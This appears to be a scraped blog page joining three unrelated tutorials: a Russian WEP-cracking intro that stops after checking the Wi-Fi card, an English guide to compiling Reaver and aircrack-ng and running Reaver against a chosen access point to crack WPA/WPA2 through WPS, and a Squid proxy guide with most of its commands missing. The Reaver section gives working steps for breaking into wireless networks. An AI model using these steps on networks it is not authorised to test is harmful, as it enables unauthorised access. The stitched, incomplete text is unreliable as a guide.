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Как взломать WEP кодировку за пару минут | WEP Crack Linux aircrack-ng

Как взломать WEP кодировку за пару минут используя Aircrack

Взлом советую проводить на ubuntu, хотя подойдет любой дистрибутив

Качаем и устанавливаем пакет Aircrack

Открываем консоль и пишем:

• sudo apt-get install aircrack-ng

С предложение продолжить мы соглашаемся, далее проверим как работает наша wi-fi карта, пишем в консоле:

• airmon-ng

How to crack WPA/WPA2-PSK with WPS. How to compile Reaver under Ubuntu 12.04 (and aircrack-ng)

How to crack WPA/WPA2-PSK with WPS

how-to compile and install Reaver under Ubuntu 12.04

Steps:

1. download source
2. install required libraries and tools
3. download and build aircrack-ng
4. compile and install
5. run

Download Source

First you need to download the latest source from http://code.google.com/p/reaver-wps/

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

Extract the tarball

tar -xzvf reaver-1.4.tar.gz

Install Required Libraries and Tools

Before you can build Reaver you need pcaplib and later on aircrack-ng (iw) to run Reaver

sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev

Compile and Install

Build Reaver

cd reaver-1.4
cd src
./configure
make

Install Reaver

sudo make install

Download aircrack-ng source and build it

Ubuntu 12.04 aircrack-ng is not longer in the repository but you can still download it from source and compile it.

This is how to build aircrack-ng under Ubuntu 12.04

sudo apt-get install build-essential
sudo apt-get install libssl-dev
wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar -zxvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1

Edit common.mak with vi as example

vi common.mak  или gedit common.mak

Find the following row

CFLAGS          ?= -g -W -Wall -Werror -O3

Remove “-Werror” so that it looks like this

CFLAGS          ?= -g -W -Wall -O3

Save the file, build and install

make
sudo make install

Run

Reaver is now installed and ready to use. You will first need to put the wifi adapter info monitor mode before you can start and the most easiest way is to use airmon-ng (part of aircrack-ng) that you just installed.

First put your adapter info monitor mode, in my case it’s wlan0

sudo airmon-ng start wlan0

To run Reaver you must have to know BSSID.

You have to put this command to see all available wireless networks

sudo iwlist scanning

Maybe you will need to install iwlist. For it put the next line

sudo apt-get install iwlist

Run Reaver

sudo reaver -i mon0 -b 00:00:00:00:00:00

Replace MAC 00:00:00:00:00:00 with the actual AP:s MAC address to crack

How to Install a SQUID Proxy Server with SSL / User Authentication Tutorial

Today we will be installing the Squid proxy server, with a few modifications, including SSL support, as well as user / http authentication.

Now lets start of by installing the squid package:

Now the squid server should have automatically started, although if it hasn’t use:

The next step is to start the configuration, so we will start by editing Squid’s config file:

Now we need to define both the port and the IP address our server will be listening on, so locate the following line (and change as needed)

and / or

Bare in mind if your server is connected to the net, their are gonig to be two interfaces, both your external IP and internal, hence 127.0.0.1 and XX.XX.XX.XX

Port 3128 is the default port for Squid, although you might want to change this for security reasons.. ^_^

Now the last step is to define which IP’s / ranges are proxy server will accept connection from.

An example has been provide below, these values can be added in the “http_access allow” section of the configuration file:

An example has been provided below:

This lets all devices on the main interface 192.168.1.0 / 24 range connect, as well as localhost and you can define any other range.

If you would like to deny any other connections from other nodes originating from different IP ranges add the following underneath:

That’s the core of the config completed, now its time to restart the server and check out the server!

Now we have a proxy server – which you is listening on XX.XX.XX.XX:3128.

Enter this information into your browser’s proxy config and test it out! Hopefully everything should go smoothley 

Anonymous Server
—————-

Now if you would like an anonymous proxy server, please see the section below, if not, just skip the next session…

For anonymous server search for “header_access Authorization allow all” line in Squid’s config file and uncomment it and all “header_access” below it or use this config:

All done 

Caching Data
————

Now if we want squid to cache data we need to go into the configuration file again and uncomment this line:

This specifies where the cached data will be placed, how many MB’s of storage available (100), number of directories for data (16)
and number of subdirectories for data (256). You can specify this yourself, although I reccomend leaving them as they are unless you know what your doing.

User Authentication
——————-

we will make use of htpasswd / NCSA.
If you use lighttpd (like myself) please read the following:, although if you use apache please proceed to Step 2

As you might be aware lighttpd does not support .htpasswd functionality

This install htpasswd, you can get the binary from somewhere if you would like :/

STEP 2
——

Now we need to enter the following so htpasswd will create a password file for our proxy:

Make sure Squid can read the file correctly:

Now we need to access the NCSA helper, which I beleive is in “/usr/lib/squid/ncsa_auth” if memory serves me correctly.

If in doubt just type the following in the console:

Now we need to edit Squid’s config again and set a few variables:

So locate the following lines

and uncomment them, with the above values ^^^

Now locate your ACL’s in the squid config and add the following lines:

Now save / close the file and then we restart Squid!

And test it out in your browser!

Setup the proxy XX.XX.XX.XX:3128

and when browsing yuo should be prompted for a username / password, enter it and your away!

SSL Encryption
————–

You now have an anonymous proxy that cache’s data  Now I will be explaining how to encrypt all data from our server to our machine via the proxy.
In simple terms: The proxy (server) will fetch unencrypted data from a website, and then encrypt it and send it to us.
This is usefull if you don’t trust your ISP, or you are using a shared network etc.

Type:

type pass and conect via 3128

so ssh is making a tunell through ssh from the proxy, so its all encrypted!

Tip:
To actively monitor your squid server you can use the following command:
tail -f /var/log/squid/access.log
This is very usefull if your testing configurations